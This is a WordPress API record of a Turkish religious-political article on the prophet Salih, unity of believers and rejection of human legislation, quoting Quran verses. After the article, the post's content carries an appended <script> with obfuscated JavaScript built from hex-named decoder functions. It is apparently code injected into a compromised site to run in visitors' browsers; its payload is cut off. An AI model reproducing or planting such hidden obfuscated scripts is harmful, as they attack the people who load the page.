{"id":1109,"date":"2023-09-01T20:10:19","date_gmt":"2023-09-01T20:10:19","guid":{"rendered":"https:\/\/mucahede.com\/genel\/hz-salih-as-esit-paylasimi-saglayan-bir-nebi\/"},"modified":"2023-09-01T20:10:19","modified_gmt":"2023-09-01T20:10:19","slug":"hz-salih-as-esit-paylasimi-saglayan-bir-nebi","status":"publish","type":"post","link":"https:\/\/mucahede.com\/videolar\/hz-salih-as-esit-paylasimi-saglayan-bir-nebi\/","title":{"rendered":"Hz. Salih (as), E\u015fit Payla\u015f\u0131m\u0131 Sa\u011flayan bir Nebi!"},"content":{"rendered":"

<\/iframe><\/p>\n\u00d6rg\u00fctlenmi\u015f bir az\u0131nl\u0131k, \u00f6rg\u00fctlenmemi\u015f \u00e7o\u011funlu\u011fa daima h\u00fckmeder \nToplumlar \u00fczerinde etkili olman\u0131n yeg\u00e2ne yolu, \u00f6rg\u00fctl\u00fc, \u0130sl\u00e2m\u00ee \u0131st\u0131laha g\u00f6re cemaat olmakt\u0131r. Bu, tarihi s\u00fcrecin her d\u00f6neminde ge\u00e7erli olan bir kurald\u0131r. Siyasi literat\u00fcrde \u00f6rg\u00fctlenmi\u015f bir az\u0131nl\u0131k, \u00f6rg\u00fctlenmemi\u015f \u00e7o\u011funlu\u011fa h\u00fckmeder ifadesi her d\u00f6nemde ger\u00e7ekle\u015fmi\u015f, \u00f6rg\u00fctl\u00fc hareket edenler, her d\u00f6nemde ba\u015far\u0131l\u0131 olmu\u015flard\u0131r. \nY\u00fcce Allah (cc), Kur\u2019an\u2019da, M\u00fc\u2019minlerin birlikte olmalar\u0131 \u00fczerinde hassasiyetle durmu\u015f, tefrika ve b\u00f6l\u00fcnmenin, iman edenleri d\u00fcnya hayat\u0131nda zay\u0131f d\u00fc\u015f\u00fcrerek zillet i\u00e7erisinde b\u0131rakaca\u011f\u0131n\u0131 bildirmi\u015ftir. \n\u201cAllah’a ve Rasul\u00fc\u2019ne itaat edin, \u00e7eki\u015fmeyin, \u00e7\u00fcnk\u00fc cesaretinizi kaybedersiniz, g\u00fcc\u00fcn\u00fcz gider; sabredin, \u015f\u00fcphesiz Allah sabredenlerle beraberdir.\u201d (Enfal, 46) \nTefrikaya d\u00fc\u015fenler, g\u00fcn\u00fcm\u00fczde \u00f6rnekleri g\u00f6r\u00fcld\u00fc\u011f\u00fc \u00fczere d\u00fcnya hayat\u0131nda, emperyalizm ve Siyonizm kar\u015f\u0131s\u0131nda zillet i\u00e7erisinde kalm\u0131\u015flar, Ahiret hayat\u0131nda da i\u00e7erisinde ebediyen kalmak \u00fczere ac\u0131kl\u0131 cehennem azab\u0131na s\u00fcr\u00fckleneceklerdir. \n\u201cVe topluca Allah\u2019\u0131n ipine sar\u0131l\u0131n, tefrikaya d\u00fc\u015fmeyin, Allah\u2019\u0131n \u00fczerinizde olan nimetini d\u00fc\u015f\u00fcn\u00fcn; o zaman siz, birbirinize d\u00fc\u015fman idiniz, nihayet kalplerinizin aras\u0131n\u0131 birle\u015ftirdi. B\u00f6ylece O’nun nimetiyle karde\u015fler oldunuz ve siz, ate\u015ften bir \u00e7ukurun kenar\u0131nda idiniz, sonra sizi ondan kurtard\u0131. \u0130\u015fte Allah size ayetlerini a\u00e7\u0131kl\u0131yor, t\u00e2 ki Hidayete eresiniz.\u201d (Al-i \u0130mran, 103) \nTebe-i Tabiin\u2019den sonra Kur\u2019an\u00ee bu uyar\u0131lara s\u0131rt d\u00f6n\u00fclmesi \u00fczerine y\u00fcce Allah (cc), Kur\u2019an\u00ee esaslara s\u0131rt d\u00f6nen kimselere zillet g\u00f6mle\u011fini giydirmi\u015ftir. \u0130\u015fte bundan sonra kendilerini \u0130sl\u00e2m \u00fcmmetine nispet eden bu fitne gruplar\u0131, Kur\u2019an\u00ee esaslardan uzakla\u015fm\u0131\u015f, birbirleriyle \u00e7at\u0131\u015farak par\u00e7alanm\u0131\u015f, k\u00fcfr\u00fcn kar\u015f\u0131s\u0131nda zillet i\u00e7erisinde kalm\u0131\u015flard\u0131r. \nHz. Salih (as), birlikteli\u011fe \u00f6nem vermi\u015ftir \nHz. Salih (as), i\u00e7erisinde ya\u015fad\u0131\u011f\u0131 toplumun durumunu \u00e7ok iyi bildi\u011finden Tevhidi esaslara davetinin hemen ba\u015f\u0131nda, toplumda birlikteli\u011fi sa\u011flamak i\u00e7in insanlar\u0131 kendisine itaat etmeye davet etmi\u015fti. \n\u201c\u015e\u00fcphesiz ben, sizin i\u00e7in g\u00fcvenilir bir Rasul\u2019\u00fcm; o halde Allah\u2019tan korkun ve bana itaat edin!\u201d (\u015euara, 143-144) \nHz. Salih (as), ink\u00e2rc\u0131 zorbalardan korkmadan insanlar\u0131 y\u00fcce Allah\u2019\u0131 Bir\u2019lemeye, O\u2019na iman edip kulluk yapmaya davet etmi\u015fti. \nRisalet \u00f6nderleri, Tevhidi esaslara davetlerini her toplum i\u00e7erisinde a\u00e7\u0131k ve net bir \u015fekilde ortaya koymu\u015flard\u0131. Bu davetlere tepkiler ve tepki g\u00f6sterenler farkl\u0131l\u0131k g\u00f6sterse de davetin ortaya konulu\u015funda hi\u00e7bir farkl\u0131l\u0131k g\u00f6r\u00fclmemektedir. Bu nedenle y\u00fcce Allah (cc), S\u00fcnnetullah\u2019ta hi\u00e7bir de\u011fi\u015fikli\u011fin olmad\u0131\u011f\u0131n\u0131 bildirmektedir. \n\u201c\u00d6nceden ge\u00e7en kimseler hakk\u0131ndaki Allah’\u0131n s\u00fcnnetidir; Allah’\u0131n s\u00fcnnetinde de\u011fi\u015fiklik bulamazs\u0131n.\u201d (Ahzab, 62) \nT\u00fcm Risalet \u00f6nderleri, Hakk\u2019\u0131 a\u00e7\u0131k\u00e7a ortaya koymu\u015flard\u0131 \nTevhidi esaslara kar\u015f\u0131 \u00e7\u0131kan materyalist toplumlarda insanlar, bencil ve hasettirler. Bu nedenle de\u011fer yarg\u0131lar\u0131n\u0131 hep kendi \u00e7\u0131karlar\u0131na g\u00f6re belirlerler. Bencil ve haset olan kimseler, \u00e7\u0131karlar\u0131na dokunan her \u015feyi reddeder, kabul etmezler. Bu materyalist toplumlar, her d\u00f6nemde \u00e7\u0131karlar\u0131 bozulacak d\u00fc\u015f\u00fcncesi ile Tevhidi esaslara kar\u015f\u0131 \u00e7\u0131km\u0131\u015f, Rab\u2019lerine isyan etmi\u015flerdir \nRisalet \u00f6nderleri ve onlar\u0131n izinde giden Tevhid erleri, i\u00e7erisinde ya\u015fad\u0131klar\u0131 toplumlar\u0131n, \u00fczerine titreyip hassasiyet g\u00f6sterdikleri konulardan hareketle Tevhidi esaslar\u0131, o toplumlar\u0131n anlayabilecekleri bir \u00fcslup ile ortaya koymu\u015flard\u0131r \nHz. \u0130brahim (as)\u2019\u0131n, putlara kar\u015f\u0131 tavr\u0131; Hz. \u015euayb (as)\u2019\u0131n, tart\u0131 ve \u00f6l\u00e7\u00fcy\u00fc \u00f6ncelemesi; Hz. Musa (as)\u2019\u0131n, Fir\u2019avn\u2019\u0131n egemenli\u011fini sarsmas\u0131; Ashab\u0131 Kehf\u2019in, \u201cG\u00f6klerin ve yerin Rububiyetinin yaln\u0131zca y\u00fcce Allah\u2019a ait oldu\u011funu\u201d hayk\u0131rmas\u0131; Hz. Muhammed (as)\u2019\u0131n, insanlar\u0131n e\u015fit oldu\u011funu s\u00f6ylemesi ve Hz. Salih (as)\u2019\u0131n, devesinin, insanlar\u0131n mal ve sular\u0131na ortak oldu\u011funu bildirmesi, hep o toplumlar\u0131n \u00fczerine titredikleri konulard\u0131r \nG\u00fcn\u00fcm\u00fczde Tevhidi esaslar, egemenli\u011fin yaln\u0131zca y\u00fcce Allah\u2019a ait oldu\u011fu, O\u2019nun h\u00fckm\u00fcne kimsenin ortak olamayaca\u011f\u0131, be\u015fer\u00ee sistemlerin insanlara h\u00fck\u00fcm koyma haklar\u0131n\u0131n bulunamayaca\u011f\u0131, ta\u011futun reddedilmesinin y\u00fcce Allah\u2019a iman etmenin ilk temel \u015fart\u0131 oldu\u011fu vurgulanarak a\u00e7\u0131k ve net olarak ortaya konulmal\u0131d\u0131r \nTa\u011futu reddetmeyenlerin, onu Allah\u2019tan ba\u015fka ilah edindikleri, ilah kavram\u0131 a\u00e7\u0131klanarak anlat\u0131lmal\u0131d\u0131r. \u0130\u015fte ancak bu durumda insanlar, Tevhidin ve \u015firkin ne oldu\u011funu, ger\u00e7ekten iman etmenin ancak Tevhidi esaslar\u0131n kabul\u00fc ve \u015firkin reddedilmesi ile m\u00fcmk\u00fcn olabilece\u011fini anlayabilirler \nHz. Salih (as) ve Semud Kavmi \nTevhidi esaslar\u0131 tebli\u011f eden rasuller, davete en yak\u0131nlar\u0131ndan ba\u015flam\u0131\u015flard\u0131r. Risalet \u00f6nderlerinin t\u00fcm\u00fc, bu esastan hareketle davetlerini, ilk \u00f6nce en yak\u0131nlar\u0131na duyurmu\u015flard\u0131r. Bu yak\u0131nlar, aile fertlerinden ba\u015flayarak akrabalar, i\u00e7erisinde ya\u015fan\u0131lan toplum ve devlettir \nHz. Muhammed (as), kendisine gelen ilahi mesaj\u0131 ilk \u00f6nce e\u015fine, en yak\u0131n arkada\u015f\u0131na ve giderek kavmine s\u00f6ylerken, Hz. \u0130brahim (as), \u00f6nce babas\u0131na Tevhidi esaslar\u0131 anlatm\u0131\u015f, Hz. Musa (as), y\u00fcce Allah\u2019\u0131n emri ile mesaj\u0131n\u0131 \u00f6nce y\u0131llarca saray\u0131nda ya\u015fad\u0131\u011f\u0131 Fir\u2019avn\u2019e ula\u015ft\u0131r\u0131rken di\u011fer t\u00fcm rasuller, i\u00e7erisinde ya\u015fad\u0131klar\u0131 toplumlar\u0131, Tevhidi esaslara davet etmi\u015flerdir<\/p>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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Bu, tarihi s\u00fcrecin her d\u00f6neminde ge\u00e7erli olan bir kurald\u0131r. Siyasi literat\u00fcrde \u00f6rg\u00fctlenmi\u015f bir az\u0131nl\u0131k, \u00f6rg\u00fctlenmemi\u015f \u00e7o\u011funlu\u011fa h\u00fckmeder ifadesi her d\u00f6nemde ger\u00e7ekle\u015fmi\u015f, \u00f6rg\u00fctl\u00fc hareket edenler, her d\u00f6nemde ba\u015far\u0131l\u0131 olmu\u015flard\u0131r. \nY\u00fcce Allah (cc), Kur\u2019an\u2019da, M\u00fc\u2019minlerin birlikte olmalar\u0131 \u00fczerinde hassasiyetle durmu\u015f, tefrika ve b\u00f6l\u00fcnmenin, iman edenleri d\u00fcnya hayat\u0131nda zay\u0131f d\u00fc\u015f\u00fcrerek zillet i\u00e7erisinde b\u0131rakaca\u011f\u0131n\u0131 bildirmi\u015ftir. \n\u201cAllah’a ve Rasul\u00fc\u2019ne itaat edin, \u00e7eki\u015fmeyin, \u00e7\u00fcnk\u00fc cesaretinizi kaybedersiniz, g\u00fcc\u00fcn\u00fcz gider; sabredin, \u015f\u00fcphesiz Allah sabredenlerle beraberdir.\u201d (Enfal, 46) \nTefrikaya d\u00fc\u015fenler, g\u00fcn\u00fcm\u00fczde \u00f6rnekleri g\u00f6r\u00fcld\u00fc\u011f\u00fc \u00fczere d\u00fcnya hayat\u0131nda, emperyalizm ve Siyonizm kar\u015f\u0131s\u0131nda zillet i\u00e7erisinde kalm\u0131\u015flar, Ahiret hayat\u0131nda da i\u00e7erisinde ebediyen kalmak \u00fczere ac\u0131kl\u0131 cehennem azab\u0131na s\u00fcr\u00fckleneceklerdir. \n\u201cVe topluca Allah\u2019\u0131n ipine sar\u0131l\u0131n, tefrikaya d\u00fc\u015fmeyin, Allah\u2019\u0131n \u00fczerinizde olan nimetini d\u00fc\u015f\u00fcn\u00fcn; o zaman siz, birbirinize d\u00fc\u015fman idiniz, nihayet kalplerinizin aras\u0131n\u0131 birle\u015ftirdi. B\u00f6ylece O’nun nimetiyle karde\u015fler oldunuz ve siz, ate\u015ften bir \u00e7ukurun kenar\u0131nda idiniz, sonra sizi ondan kurtard\u0131. \u0130\u015fte Allah size ayetlerini a\u00e7\u0131kl\u0131yor, t\u00e2 ki Hidayete eresiniz.\u201d (Al-i \u0130mran, 103) \nTebe-i Tabiin\u2019den sonra Kur\u2019an\u00ee bu uyar\u0131lara s\u0131rt d\u00f6n\u00fclmesi \u00fczerine y\u00fcce Allah (cc), Kur\u2019an\u00ee esaslara s\u0131rt d\u00f6nen kimselere zillet g\u00f6mle\u011fini giydirmi\u015ftir. \u0130\u015fte bundan sonra kendilerini \u0130sl\u00e2m \u00fcmmetine nispet eden bu fitne gruplar\u0131, Kur\u2019an\u00ee esaslardan uzakla\u015fm\u0131\u015f, birbirleriyle \u00e7at\u0131\u015farak par\u00e7alanm\u0131\u015f, k\u00fcfr\u00fcn kar\u015f\u0131s\u0131nda zillet i\u00e7erisinde kalm\u0131\u015flard\u0131r. \nHz. Salih (as), birlikteli\u011fe \u00f6nem vermi\u015ftir \nHz. Salih (as), i\u00e7erisinde ya\u015fad\u0131\u011f\u0131 toplumun durumunu \u00e7ok iyi bildi\u011finden Tevhidi esaslara davetinin hemen ba\u015f\u0131nda, toplumda birlikteli\u011fi sa\u011flamak i\u00e7in insanlar\u0131 kendisine itaat etmeye davet etmi\u015fti. \n\u201c\u015e\u00fcphesiz ben, sizin i\u00e7in g\u00fcvenilir bir Rasul\u2019\u00fcm; o halde Allah\u2019tan korkun ve bana itaat edin!\u201d (\u015euara, 143-144) \nHz. Salih (as), ink\u00e2rc\u0131 zorbalardan korkmadan insanlar\u0131 y\u00fcce Allah\u2019\u0131 Bir\u2019lemeye, O\u2019na iman edip kulluk yapmaya davet etmi\u015fti. \nRisalet \u00f6nderleri, Tevhidi esaslara davetlerini her toplum i\u00e7erisinde a\u00e7\u0131k ve net bir \u015fekilde ortaya koymu\u015flard\u0131. Bu davetlere tepkiler ve tepki g\u00f6sterenler farkl\u0131l\u0131k g\u00f6sterse de davetin ortaya konulu\u015funda hi\u00e7bir farkl\u0131l\u0131k g\u00f6r\u00fclmemektedir. Bu nedenle y\u00fcce Allah (cc), S\u00fcnnetullah\u2019ta hi\u00e7bir de\u011fi\u015fikli\u011fin olmad\u0131\u011f\u0131n\u0131 bildirmektedir. \n\u201c\u00d6nceden ge\u00e7en kimseler hakk\u0131ndaki Allah’\u0131n s\u00fcnnetidir; Allah’\u0131n s\u00fcnnetinde de\u011fi\u015fiklik bulamazs\u0131n.\u201d (Ahzab, 62) \nT\u00fcm Risalet \u00f6nderleri, Hakk\u2019\u0131 a\u00e7\u0131k\u00e7a ortaya koymu\u015flard\u0131 \nTevhidi esaslara kar\u015f\u0131 \u00e7\u0131kan materyalist toplumlarda insanlar, bencil ve hasettirler. Bu nedenle de\u011fer yarg\u0131lar\u0131n\u0131 hep kendi \u00e7\u0131karlar\u0131na g\u00f6re belirlerler. Bencil ve haset olan kimseler, \u00e7\u0131karlar\u0131na dokunan her \u015feyi reddeder, kabul etmezler. Bu materyalist toplumlar, her d\u00f6nemde \u00e7\u0131karlar\u0131 bozulacak d\u00fc\u015f\u00fcncesi ile Tevhidi esaslara kar\u015f\u0131 \u00e7\u0131km\u0131\u015f, Rab\u2019lerine isyan etmi\u015flerdir \nRisalet \u00f6nderleri ve onlar\u0131n izinde giden Tevhid erleri, i\u00e7erisinde ya\u015fad\u0131klar\u0131 toplumlar\u0131n, \u00fczerine titreyip hassasiyet g\u00f6sterdikleri konulardan hareketle Tevhidi esaslar\u0131, o toplumlar\u0131n anlayabilecekleri bir \u00fcslup ile ortaya koymu\u015flard\u0131r \nHz. \u0130brahim (as)\u2019\u0131n, putlara kar\u015f\u0131 tavr\u0131; Hz. \u015euayb (as)\u2019\u0131n, tart\u0131 ve \u00f6l\u00e7\u00fcy\u00fc \u00f6ncelemesi; Hz. Musa (as)\u2019\u0131n, Fir\u2019avn\u2019\u0131n egemenli\u011fini sarsmas\u0131; Ashab\u0131 Kehf\u2019in, \u201cG\u00f6klerin ve yerin Rububiyetinin yaln\u0131zca y\u00fcce Allah\u2019a ait oldu\u011funu\u201d hayk\u0131rmas\u0131; Hz. Muhammed (as)\u2019\u0131n, insanlar\u0131n e\u015fit oldu\u011funu s\u00f6ylemesi ve Hz. Salih (as)\u2019\u0131n, devesinin, insanlar\u0131n mal ve sular\u0131na ortak oldu\u011funu bildirmesi, hep o toplumlar\u0131n \u00fczerine titredikleri konulard\u0131r \nG\u00fcn\u00fcm\u00fczde Tevhidi esaslar, egemenli\u011fin yaln\u0131zca y\u00fcce Allah\u2019a ait oldu\u011fu, O\u2019nun h\u00fckm\u00fcne kimsenin ortak olamayaca\u011f\u0131, be\u015fer\u00ee sistemlerin insanlara h\u00fck\u00fcm koyma haklar\u0131n\u0131n bulunamayaca\u011f\u0131, ta\u011futun reddedilmesinin y\u00fcce Allah\u2019a iman etmenin ilk temel \u015fart\u0131 oldu\u011fu vurgulanarak a\u00e7\u0131k ve net olarak ortaya konulmal\u0131d\u0131r \nTa\u011futu reddetmeyenlerin, onu Allah\u2019tan ba\u015fka ilah edindikleri, ilah kavram\u0131 a\u00e7\u0131klanarak anlat\u0131lmal\u0131d\u0131r. \u0130\u015fte ancak bu durumda insanlar, Tevhidin ve \u015firkin ne oldu\u011funu, ger\u00e7ekten iman etmenin ancak Tevhidi esaslar\u0131n kabul\u00fc ve \u015firkin reddedilmesi ile m\u00fcmk\u00fcn olabilece\u011fini anlayabilirler \nHz. Salih (as) ve Semud Kavmi \nTevhidi esaslar\u0131 tebli\u011f eden rasuller, davete en yak\u0131nlar\u0131ndan ba\u015flam\u0131\u015flard\u0131r. Risalet \u00f6nderlerinin t\u00fcm\u00fc, bu esastan hareketle davetlerini, ilk \u00f6nce en yak\u0131nlar\u0131na duyurmu\u015flard\u0131r. Bu yak\u0131nlar, aile fertlerinden ba\u015flayarak akrabalar, i\u00e7erisinde ya\u015fan\u0131lan toplum ve devlettir \nHz. Muhammed (as), kendisine gelen ilahi mesaj\u0131 ilk \u00f6nce e\u015fine, en yak\u0131n arkada\u015f\u0131na ve giderek kavmine s\u00f6ylerken, Hz. \u0130brahim (as), \u00f6nce babas\u0131na Tevhidi esaslar\u0131 anlatm\u0131\u015f, Hz. Musa (as), y\u00fcce Allah\u2019\u0131n emri ile mesaj\u0131n\u0131 \u00f6nce y\u0131llarca saray\u0131nda ya\u015fad\u0131\u011f\u0131 Fir\u2019avn\u2019e ula\u015ft\u0131r\u0131rken di\u011fer t\u00fcm rasuller, i\u00e7erisinde ya\u015fad\u0131klar\u0131 toplumlar\u0131, Tevhidi esaslara davet etmi\u015flerdir<\/p>\n","protected":false},"author":2,"featured_media":1513,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/posts\/1109"}],"collection":[{"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/comments?post=1109"}],"version-history":[{"count":0,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/posts\/1109\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/media\/1513"}],"wp:attachment":[{"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/media?parent=1109"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/categories?post=1109"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mucahede.com\/wp-json\/wp\/v2\/tags?post=1109"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}